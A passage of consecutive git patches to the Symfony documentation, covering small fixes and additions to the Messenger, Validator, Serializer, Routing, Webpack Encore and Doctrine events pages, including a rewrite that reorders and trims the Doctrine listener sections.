 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``

From 96d6a91c7324d60375b6115a37a802ee4e27562a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 13 Sep 2023 14:34:11 +0200
Subject: [PATCH 3807/5766] [Messenger] Fix import order

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 138447daf5a..f6330f9987e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2620,8 +2620,8 @@ it through your bus. Reusing the same ``SmsNotification`` example shown earlier:
 
     use App\Message\SmsNotification;
     use Symfony\Component\Messenger\Attribute\AsMessageHandler;
-    use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Message\RedispatchMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
 
     #[AsMessageHandler]
     class SmsNotificationHandler

From b6318e3a2e024b10432108c5c23674caa79fd0f3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Sep 2023 15:30:46 +0200
Subject: [PATCH 3808/5766] Tweak

---
 reference/constraints/Expression.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 877b45c4004..1f3b4dcdb7c 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -244,9 +244,8 @@ in your expression:
 * ``value``: The value of the property being validated (only available when
   the constraint is applied directly to a property);
 
-You also have access to the ``is_valid()`` function in your expression. It
-allows to check that the data passed to function doesn't raise any
-validation violation.
+You also have access to the ``is_valid()`` function in your expression. This function
+checks that the data passed to function doesn't raise any validation violation.
 
 .. versionadded:: 6.4
 

From b8135fc20cd70cf1abcc8de0140c966da0a074c4 Mon Sep 17 00:00:00 2001
From: aliber4079 <alex@zoosmart.us>
Date: Thu, 14 Sep 2023 11:22:13 -0500
Subject: [PATCH 3809/5766] Update page_creation.rst

show how to start symfony server
---
 page_creation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/page_creation.rst b/page_creation.rst
index a83901e58e5..46ebcf53370 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -79,6 +79,7 @@ metadata to code):
       }
 
 That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
+To start the symfony webserver, cd to your project directory and type symfony server:start
 
 .. tip::
 

From 2f1fc2d7200b8066e40b9b1155ad508580418902 Mon Sep 17 00:00:00 2001
From: aliber4079 <alex@zoosmart.us>
Date: Fri, 15 Sep 2023 12:29:53 -0500
Subject: [PATCH 3810/5766] Update page_creation.rst

making it friendlier to newbies
---
 page_creation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/page_creation.rst b/page_creation.rst
index a83901e58e5..71864f24d81 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -38,6 +38,7 @@ Suppose you want to create a page - ``/lucky/number`` - that generates a lucky (
 random) number and prints it. To do that, create a "Controller" class and a
 "controller" method inside of it::
 
+    <?php
     // src/Controller/LuckyController.php
     namespace App\Controller;
 

From 8f381f675a515637ece1f0b5399dd14eb769a9a0 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 16 Sep 2023 13:28:16 +0200
Subject: [PATCH 3811/5766] [Translator] Fix `default-path` XML config

---
 translation.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8166aa595de..ffaca50044d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -84,10 +84,9 @@ are located:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config default-locale="en">
-                <framework:translator>
-                    <framework:default-path>'%kernel.project_dir%/translations'</framework:default-path>
-                    <!-- ... -->
-                </framework:translator>
+                <framework:translator
+                    default-path="%kernel.project_dir%/translations"
+                />
             </framework:config>
         </container>
 

From 478d6aecb6b8f5836d955bb10885d07208208a4a Mon Sep 17 00:00:00 2001
From: Lorenzo Ruozzi <lollor98@hotmail.it>
Date: Mon, 18 Sep 2023 10:03:31 +0200
Subject: [PATCH 3812/5766] Fix Doctrine's middlewares sorting

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 138447daf5a..5775c4a4acf 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2405,14 +2405,14 @@ may want to use:
                             # instead of keeping them open forever
                             - doctrine_close_connection
 
+                            # logs an error when a Doctrine transaction was opened but not closed
+                            - doctrine_open_transaction_logger
+
                             # wraps all handlers in a single Doctrine transaction
                             # handlers do not need to call flush() and an error
                             # in any handler will cause a rollback
                             - doctrine_transaction
 
-                            # logs an error when a Doctrine transaction was opened but not closed
-                            - doctrine_open_transaction_logger
-
                             # or pass a different entity manager to any
                             #- doctrine_transaction: ['custom']
 

From 642eba5cd3a22455a8c612c6d3eae18607252476 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 16 Sep 2023 13:39:36 +0200
Subject: [PATCH 3813/5766] [Validator] Add a section for custom translation
 domain

---
 validation/translations.rst | 63 +++++++++++++++++++++++++++++++++++--
 1 file changed, 61 insertions(+), 2 deletions(-)

diff --git a/validation/translations.rst b/validation/translations.rst
index 3f7f461aacd..721273562c1 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -135,5 +135,64 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
             'author.name.not_blank' => 'Please enter an author name.',
         ];
 
-You may need to clear your cache (even in the dev environment) after creating this
-file for the first time.
+You may need to clear your cache (even in the dev environment) after creating
+this file for the first time.
+
+Custom Translation Domain
+-------------------------
+
+The default translation domain can be changed globally using the
+``FrameworkBundle`` configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/validator.yaml
+        framework:
+            validation:
+                translation_domain: validation_errors
+
+    .. code-block:: xml
+
+        <!-- config/packages/validator.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:validation
+                    translation-domain="validation_errors"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/validator.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework
+                ->validation()
+                    ->translationDomain('validation_errors')
+            ;
+        };
+
+Or it can be customized for a specific violation from a constraint validator::
+
+    public function validate($value, Constraint $constraint): void
+    {
+        // validation logic
+
+        $this->context->buildViolation($constraint->message)
+            ->setParameter('{{ string }}', $value)
+            ->setTranslationDomain('validation_errors')
+            ->addViolation();
+    }

From e599eac456afe8d4ee51b2eed4c740f23a103f1c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 11:34:10 +0200
Subject: [PATCH 3814/5766] Add a link to the Symfony web server article

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index ef39478f2ee..0f938ac505c 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -79,8 +79,8 @@ metadata to code):
           }
       }
 
-That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
-To start the symfony webserver, cd to your project directory and type symfony server:start
+That's it! If you are using :doc:`the Symfony web server </setup/symfony_server>`,
+try it out by going to: http://localhost:8000/lucky/number
 
 .. tip::
 

From 7b2c557a88e1dd387b59ad6f8d9782a691d7bfaa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 13:15:01 +0200
Subject: [PATCH 3815/5766] Update RST linter configuration to fix CI

---
 .doctor-rst.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 8668e32e95b..28c04d5143f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -80,6 +80,8 @@ rules:
 exclude_rule_for_file:
     - path: configuration/multiple_kernels.rst
       rule_name: replacement
+    - path: page_creation.rst
+      rule_name: no_php_open_tag_in_code_block_php_directive
 
 # do not report as violation
 whitelist:

From 14e6e8e93aee4cd05787f8c2d1ba5451bde9d4be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 14:37:12 +0200
Subject: [PATCH 3816/5766] Reorder some use imports to fix CI

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 5775c4a4acf..08319fe4377 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2620,8 +2620,8 @@ it through your bus. Reusing the same ``SmsNotification`` example shown earlier:
 
     use App\Message\SmsNotification;
     use Symfony\Component\Messenger\Attribute\AsMessageHandler;
-    use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Message\RedispatchMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
 
     #[AsMessageHandler]
     class SmsNotificationHandler

From 431c87140e1f0c8f4def8cc9409ae2fe5da90a46 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 18 Sep 2023 16:46:11 +0200
Subject: [PATCH 3817/5766] [Serializer] Add `#[Context]` support on classes

---
 serializer.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 3b7b286f703..bc14b1c0c65 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -248,6 +248,31 @@ The attribute can be repeated as much as needed on a single property.
 Context without group is always applied first. Then context for the matching
 groups are merged in the provided order.
 
+If you don't want to put the same context on multiple properties, it is
+possible to use the ``#[Context]`` attribute directly on your class::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+    #[Context(
+        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+        groups: ['extended'],
+    )]
+    class Person
+    {
+        // ...
+    }
+
+The defined context will apply on all the properties of your class.
+
+.. versionadded:: 6.4
+
+    The support of the ``#[Context]`` attribute on classes was introduced in
+    Symfony 6.4.
+
 .. _serializer-using-context-builders:
 
 Using Context Builders

From b095edc71e2d6ce3fcde37efc204a6d601d70fcf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 18 Sep 2023 16:59:56 +0200
Subject: [PATCH 3818/5766] [FrameworkBundle] Add token attributes in
 `KernelBrowser::loginUser()`

---
 testing.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 4caca0751bb..73cac344391 100644
--- a/testing.rst
+++ b/testing.rst
@@ -717,13 +717,21 @@ You can pass any
 :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` instance to
 ``loginUser()``. This method creates a special
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
-stores in the session of the test client.
+stores in the session of the test client. If you need to define custom
+attributes in this token, you can use the ``tokenAttributes`` argument of the
+:method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method.
 
 .. note::
 
     By design, the ``loginUser()`` method doesn't work when using stateless firewalls.
     Instead, add the appropriate token/header in each ``request()`` call.
 
+.. versionadded:: 6.4
+
+    The ``tokenAttributes`` argument of the
+    :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method
+    was introduced in Symfony 6.4.
+
 Making AJAX Requests
 ....................
 

From 517538993b12c184040668384639c38dc1fff0f7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 17:32:34 +0200
Subject: [PATCH 3819/5766] [Messenger] Mention the transport factory
 autoconfiguration

---
 messenger/custom-transport.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e496fcf6263..dcd7b26971b 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -132,6 +132,11 @@ and :class:`Symfony\\Component\\Messenger\\Bridge\\Doctrine\\Transport\\Doctrine
 Register your Factory
 ---------------------
 
+Before using your factory, you must register it. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
+Otherwise, add the following:
+
 .. configuration-block::
 
     .. code-block:: yaml

From 502c599ec1dda4b89a7fd216a46ebca42e215daf Mon Sep 17 00:00:00 2001
From: Bartosz Belski <arkanidius@gmail.com>
Date: Mon, 18 Sep 2023 23:25:30 +0200
Subject: [PATCH 3820/5766] [Validator] Translate validator message in docs

---
 reference/constraints/PasswordStrength.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 20e1fceacd7..56970fe2f00 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -128,7 +128,7 @@ The default message supplied when the password does not reach the minimum requir
     class User
     {
         #[Assert\PasswordStrength([
-            'message' => 'Le mot de passe est trop faible. Veuillez utiliser un mot de passe plus fort.'
+            'message' => 'The password strength is too low. Please use a stronger password.'
         ])]
         protected $rawPassword;
     }

From 6be09724aadfde2f1994c8dd5cda3d76832270c4 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Mon, 18 Sep 2023 17:48:29 -0400
Subject: [PATCH 3821/5766] Corrected missing property promotion.

Fixes #18886 .

Promoted the constructor parameter to a private property to fix the example code.
---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index b14c1b5423d..483a68c26e9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -694,7 +694,7 @@ attribute::
     {
         public function __construct(
             #[AutowireServiceClosure('third_party.remote_message_formatter')]
-            \Closure $messageFormatterResolver
+            private \Closure $messageFormatterResolver
         ) {
         }
 

From 43b83ef5e81cc1890cabfde57632b913ebbb206a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 09:18:31 +0200
Subject: [PATCH 3822/5766] Tweaks

---
 serializer.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index bc14b1c0c65..daa898dbb7b 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -248,8 +248,9 @@ The attribute can be repeated as much as needed on a single property.
 Context without group is always applied first. Then context for the matching
 groups are merged in the provided order.
 
-If you don't want to put the same context on multiple properties, it is
-possible to use the ``#[Context]`` attribute directly on your class::
+If you repeat the same context in multiple properties, consider using the
+``#[Context]`` attribute on your class to apply that context configuration to
+all the properties of the class::
 
     namespace App\Model;
 
@@ -266,12 +267,9 @@ possible to use the ``#[Context]`` attribute directly on your class::
         // ...
     }
 
-The defined context will apply on all the properties of your class.
-
 .. versionadded:: 6.4
 
-    The support of the ``#[Context]`` attribute on classes was introduced in
-    Symfony 6.4.
+    The ``#[Context]`` attribute was introduced in Symfony 6.4.
 
 .. _serializer-using-context-builders:
 

From fe04b386efb147fb68a37b5ca026ad92255fa785 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 15:05:40 +0200
Subject: [PATCH 3823/5766] [Routing] Improve the explanation of the exclude
 parameter

---
 routing.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 6b39604eed0..b9e5492c612 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1670,7 +1670,8 @@ when importing the routes.
             # trailing_slash_on_root: false
 
             # you can optionally exclude some files/subdirectories when loading annotations
-            # exclude: '../../src/Controller/{DebugEmailController}.php'
+            # (the value must be a string or an array of PHP glob patterns)
+            # exclude: '../../src/Controller/{Debug*Controller.php}'
 
     .. code-block:: xml
 
@@ -1685,12 +1686,13 @@ when importing the routes.
                 the 'prefix' value is added to the beginning of all imported route URLs
                 the 'name-prefix' value is added to the beginning of all imported route names
                 the 'exclude' option defines the files or subdirectories ignored when loading annotations
+                (the value must be a PHP glob pattern and you can repeat this option any number of times)
             -->
             <import resource="../../src/Controller/"
                 type="annotation"
                 prefix="/blog"
                 name-prefix="blog_"
-                exclude="../../src/Controller/{DebugEmailController}.php">
+                exclude="../../src/Controller/{Debug*Controller.php}">
                 <!-- these requirements are added to all imported routes -->
                 <requirement key="_locale">en|es|fr</requirement>
             </import>
@@ -1716,7 +1718,8 @@ when importing the routes.
                     false,
                     // the optional fourth argument is used to exclude some files
                     // or subdirectories when loading annotations
-                    '../../src/Controller/{DebugEmailController}.php'
+                    // (the value must be a string or an array of PHP glob patterns)
+                    '../../src/Controller/{Debug*Controller.php}'
                 )
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')

From 1862b4efbee96bc7437dbdadba8a06e4eb3d3e43 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 13:07:28 +0200
Subject: [PATCH 3824/5766] [Webpack Encore] Document addAliases() and
 addExternals() methods

---
 frontend/encore/advanced-config.rst | 42 +++++++++++++++++++++++++++++
 1 file changed, 42 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index cfe50ee1658..4214e5e5b80 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -236,7 +236,49 @@ The following loaders are configurable with ``configureLoaderRule()``:
   - ``typescript`` (alias ``ts``)
   - ``handlebars``
 
+Configuring Aliases When Importing or Requiring Modules
+-------------------------------------------------------
+
+The `Webpack resolve.alias option`_ allows to create aliases to simplify the
+``import`` or ``require`` of certain modules (e.g. by aliasing commonly used ``src/``
+folders). In Webpack Encore you can use this option via the ``addAliases()`` method:
+
+.. code-block:: javascript
+
+    Encore.addAliases({
+        Utilities: path.resolve(__dirname, 'src/utilities/'),
+        Templates: path.resolve(__dirname, 'src/templates/')
+    })
+
+With the above config, you could now import certain modules more concisely:
+
+.. code-block:: diff
+
+    -import Utility from '../../utilities/utility';
+    +import Utility from 'Utilities/utility';
+
+Excluding Some Dependencies from Output Bundles
+-----------------------------------------------
+
+The `Webpack externals option`_ allows to prevent bundling of certain imported
+packages and instead retrieve those external dependencies at runtime. This feature
+is mostly useful for JavaScript library developers, so you probably won't need it.
+
+In Webpack Encore you can use this option via the ``addExternals()`` method:
+
+.. code-block:: javascript
+
+    // this won't include jQuery and React in the output bundles generated
+    // by Webpack Encore. You'll need to load those dependencies yourself
+    // (e.g with a `<script>` tag) to make the application or website work.
+    Encore.addExternals({
+        jquery: 'jQuery',
+        react: 'react'
+    })
+
 .. _`configuration options`: https://webpack.js.org/configuration/
 .. _`array of configurations`: https://webpack.js.org/configuration/configuration-types/#exporting-multiple-configurations
 .. _`Karma`: https://karma-runner.github.io
 .. _`Watching Options`: https://webpack.js.org/configuration/watch/#watchoptions
+.. _`Webpack resolve.alias option`: https://webpack.js.org/configuration/resolve/#resolvealias
+.. _`Webpack externals option`: https://webpack.js.org/configuration/externals/

From 92a6267da4e030fe121752785f825e512ca3ac33 Mon Sep 17 00:00:00 2001
From: Mykola Martynov <mykola.martynov@hotmail.com>
Date: Tue, 19 Sep 2023 11:17:02 +0300
Subject: [PATCH 3825/5766] Fix initialization of configurable options for the
 attribute

---
 validation/custom_constraint.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index d44346352fd..b3909515fa3 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -41,7 +41,16 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         class ContainsAlphanumeric extends Constraint
         {
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
+            public $mode = 'strict';
+
+            // all configurable options must be passed to the constructor
+            public function __construct(string $mode = null, string $message = null, array $groups = null, $payload = null)
+            {
+                parent::__construct([], $groups, $payload);
+
+                $this->mode = $mode ?? $this->mode;
+                $this->message = $message ?? $this->message;
+            }
         }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to

From cc0833a05c7ad651ce2b0bb6e5f69e47166836c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 10:31:52 +0200
Subject: [PATCH 3826/5766] Reword

---
 reference/constraints/PasswordStrength.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 56970fe2f00..10a19b342d6 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -128,7 +128,7 @@ The default message supplied when the password does not reach the minimum requir
     class User
     {
         #[Assert\PasswordStrength([
-            'message' => 'The password strength is too low. Please use a stronger password.'
+            'message' => 'Your password is too easy to guess. Company\'s security policy requires to use a stronger password.'
         ])]
         protected $rawPassword;
     }

From 4a4d9ded8c1ff11f8ee659dc42594e5a878a675d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 16:02:34 +0200
Subject: [PATCH 3827/5766] [Doctrine] Update the article about Doctrine events

---
 doctrine/events.rst | 365 ++++++++++++++------------------------------
 1 file changed, 113 insertions(+), 252 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 411b83745c2..4046191998a 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -13,23 +13,20 @@ on other common tasks (e.g. ``loadClassMetadata``, ``onClear``).
 
 There are different ways to listen to these Doctrine events:
 
-* **Lifecycle callbacks**, they are defined as public methods on the entity classes and
-  they are called when the events are triggered;
-* **Lifecycle listeners and subscribers**, they are classes with callback
-  methods for one or more events and they are called for all entities;
-* **Entity listeners**, they are similar to lifecycle listeners, but they are
-  called only for the entities of a certain class.
-
-These are the **drawbacks and advantages** of each one:
-
-* Callbacks have better performance because they only apply to a single entity
-  class, but you can't reuse the logic for different entities and they don't
-  have access to :doc:`Symfony services </service_container>`;
-* Lifecycle listeners and subscribers can reuse logic among different entities
-  and can access Symfony services but their performance is worse because they
-  are called for all entities;
-* Entity listeners have the same advantages of lifecycle listeners and they have
-  better performance because they only apply to a single entity class.
+* **Lifecycle callbacks**, they are defined as public methods on the entity classes.
+  They can't use services, so they are intended for **very simple logic** related
+  to a single entity;
+* **Entity listeners**, they are defined as classes with callback methods for the
+  events you want to respond to. They can use services, but they are only called
+  for the entities of a certain class, so they are ideal for **complex event logic
+  related to a single entity**;
+* **Lifecycle listeners**, they are similar to entity listeners but their event
+  methods are called for all entities, not only those of a certain type. They are
+  ideal to **share event logic between entities**.
+
+The performance of each type of listener depends on how many entities applies to:
+lifecycle callbacks are faster than entity listeners, which in turn are faster
+than lifecycle listeners.
 
 This article only explains the basics about Doctrine events when using them
 inside a Symfony application. Read the `official docs about Doctrine events`_
@@ -105,174 +102,6 @@ define a callback for the ``prePersist`` Doctrine event:
     useful information such as the current entity manager (e.g. the ``preUpdate``
     callback receives a ``PreUpdateEventArgs $event`` argument).
 
-.. _doctrine-lifecycle-listener:
-
-Doctrine Lifecycle Listeners
-----------------------------
-
-.. deprecated:: 6.3
-
-    Lifecycle subscribers are deprecated starting from Symfony 6.3 and will be
-    removed in Symfony 7.0. Use lifecycle listeners instead.
-
-Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
-event on all the application entities. For example, suppose that you want to
-update some search index whenever a new entity is persisted in the database. To
-do so, define a listener for the ``postPersist`` Doctrine event::
-
-    // src/EventListener/SearchIndexer.php
-    namespace App\EventListener;
-
-    use App\Entity\Product;
-    use Doctrine\ORM\Event\PostPersistEventArgs;
-
-    class SearchIndexer
-    {
-        // the listener methods receive an argument which gives you access to
-        // both the entity object of the event and the entity manager itself
-        public function postPersist(PostPersistEventArgs $args): void
-        {
-            $entity = $args->getObject();
-
-            // if this listener only applies to certain entity types,
-            // add some code to check the entity type as early as possible
-            if (!$entity instanceof Product) {
-                return;
-            }
-
-            $entityManager = $args->getObjectManager();
-            // ... do something with the Product entity
-        }
-    }
-
-.. note::
-
-    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
-    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
-
-Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
-a Doctrine listener in your application::
-
-        // src/EventListener/SearchIndexer.php
-        namespace App\EventListener;
-
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Events;
-
-        #[AsDoctrineListener(event: Events::postPersist, priority: 500, connection: 'default')]
-        class SearchIndexer
-        {
-            // ...
-        }
-
-Alternatively, if you prefer to not use PHP attributes, you must enable the
-listener in the Symfony application by creating a new service for it and
-:doc:`tagging it </service_container/tags>` with the ``doctrine.event_listener`` tag:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/EventListener/SearchIndexer.php
-        namespace App\EventListener;
-
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\PostPersistEventArgs;
-
-        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
-        class SearchIndexer
-        {
-            public function postPersist(PostPersistEventArgs $event): void
-            {
-                // ...
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\SearchIndexer:
-                tags:
-                    -
-                        name: 'doctrine.event_listener'
-                        # this is the only required option for the lifecycle listener tag
-                        event: 'postPersist'
-
-                        # listeners can define their priority in case multiple subscribers or listeners are associated
-                        # to the same event (default priority = 0; higher numbers = listener is run earlier)
-                        priority: 500
-
-                        # you can also restrict listeners to a specific Doctrine connection
-                        connection: 'default'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <!--
-                    * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple subscribers or listeners are associated to the same event
-                    *             (default priority = 0; higher numbers = listener is run earlier)
-                    * 'connection': restricts the listener to a specific Doctrine connection
-                -->
-                <service id="App\EventListener\SearchIndexer">
-                    <tag name="doctrine.event_listener"
-                        event="postPersist"
-                        priority="500"
-                        connection="default"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\EventListener\SearchIndexer;
-
-        return static function (ContainerConfigurator $container): void {
-            $services = $container->services();
-
-            // listeners are applied by default to all Doctrine connections
-            $services->set(SearchIndexer::class)
-                ->tag('doctrine.event_listener', [
-                    // this is the only required option for the lifecycle listener tag
-                    'event' => 'postPersist',
-
-                    // listeners can define their priority in case multiple subscribers or listeners are associated
-                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
-                    'priority' => 500,
-
-                    # you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
-                ])
-            ;
-        };
-
-.. versionadded:: 2.7.2
-
-    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
-
-.. tip::
-
-    Symfony loads (and instantiates) Doctrine listeners only when the related
-    Doctrine event is actually fired; whereas Doctrine subscribers are always
-    loaded (and instantiated) by Symfony, making them less performant.
-
-.. tip::
-
-    The value of the ``connection`` option can also be a
-    :ref:`configuration parameter <configuration-parameters>`.
-
 Doctrine Entity Listeners
 -------------------------
 
@@ -414,99 +243,103 @@ with the ``doctrine.orm.entity_listener`` tag as follows:
             ;
         };
 
-Doctrine Lifecycle Subscribers
-------------------------------
+.. _doctrine-lifecycle-listener:
 
-Lifecycle subscribers are defined as PHP classes that implement the
-``Doctrine\Common\EventSubscriber`` interface and which listen to one or more
-Doctrine events on all the application entities. For example, suppose that you
-want to log all the database activity. To do so, define a subscriber for the
-``postPersist``, ``postRemove`` and ``postUpdate`` Doctrine events::
+Doctrine Lifecycle Listeners
+----------------------------
 
-    // src/EventListener/DatabaseActivitySubscriber.php
+Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
+event on all the application entities. For example, suppose that you want to
+update some search index whenever a new entity is persisted in the database. To
+do so, define a listener for the ``postPersist`` Doctrine event::
+
+    // src/EventListener/SearchIndexer.php
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Event\PostPersistEventArgs;
